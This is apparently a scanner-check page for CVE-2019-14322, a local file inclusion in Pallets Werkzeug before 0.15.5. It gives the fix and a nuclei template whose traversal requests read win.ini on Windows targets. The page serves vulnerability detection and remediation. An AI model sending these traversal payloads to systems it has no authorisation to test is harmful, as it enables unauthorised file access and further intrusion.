Pallets Werkzeug <0.15.5 - Local File Inclusion

highseverity

7.5CVSS score

55.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Pallets Werkzeug before 0.15.5 is susceptible to local file inclusion because SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames.

Impact

The LFI vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.

Fix

Upgrade Pallets Werkzeug to version 0.15.5 or above to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/base_import/static/c:/windows/win.ini ; GET {{BaseURL}}/web/static/c:/windows/win.ini ; GET {{BaseURL}}/base/static/c:/windows/win.ini
Positive when: contains "bit app support" and "fonts" and "extensions" AND status 200

Run it with nuclei: nuclei -id CVE-2019-14322 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-14322

info:
  name: Pallets Werkzeug <0.15.5 - Local File Inclusion
  author: madrobot
  severity: high
  description: |
    Pallets Werkzeug before 0.15.5 is susceptible to local file inclusion because SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
  remediation: |
    Upgrade Pallets Werkzeug to version 0.15.5 or above to mitigate the LFI vulnerability.
  reference:
    - https://palletsprojects.com/blog/werkzeug-0-15-5-released/
    - http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14322
    - https://github.com/faisalfs10x/CVE-2019-14322-scanner
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-14322
    cwe-id: CWE-22
    epss-score: 0.55803
    epss-percentile: 0.9905
    cpe: cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: microsoft
    product: windows
    shodan-query: cpe:"cpe:2.3:o:microsoft:windows"
  tags: cve,cve2019,lfi,odoo,packetstorm,palletsprojects,microsoft,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/base_import/static/c:/windows/win.ini"
      - "{{BaseURL}}/web/static/c:/windows/win.ini"
      - "{{BaseURL}}/base/static/c:/windows/win.ini"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from